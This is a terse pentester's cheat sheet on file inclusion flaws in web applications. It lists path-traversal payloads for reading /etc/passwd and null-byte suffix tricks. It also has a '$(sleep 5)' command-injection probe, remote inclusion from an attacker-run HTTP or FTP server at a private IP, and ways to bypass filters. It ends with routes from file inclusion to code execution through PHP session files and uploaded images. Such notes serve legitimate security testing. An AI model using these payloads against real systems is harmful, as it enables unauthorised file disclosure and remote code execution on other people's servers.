file_inclusion.txt

page=terms.html   works
page=../../../../../../../../../../../../../etc/passwd works
page=./terms.html   works
page=hans/../terms.html   this only works on linux if the directory hans exists
/account/documents?page=../documents/terms.html this works (only if you know the directory name)
page=/etc/passwd (if abs file path is possible)
page=add_product_to_car but ?page=add_product_to_car%00 not => maybe backend appends .php

try command injection! Maybe it's non file_get_contents but convert -i $user_input => $(sleep 5)

Variations:
- file_get_contents or include/require
- check remote access: 
    - http://172.22.71.142:4444  (python -m http.server 4444)
    - ftp://172.22.71.142/test (only works on port 21 and with a file at the and; check with tcpdump)


Not working?
- maybe file ending will be added (.php) => try /etc/passwd%00
- maybe file ending is checked try
- maybe open_basedir setting?
- Input filtering? $fullPath = str_replace("../","",$fullPath); => not recursive
- allow_url_fopen, allow_url_include => check phpinfo()


Need user input to get code exec
- https://highon.coffee/blog/lfi-cheat-sheet/
- /var/lib/php/sessions/sess_fi676ab00f52r0c78v0gi56b33%00 /maybe php5
- uploaded image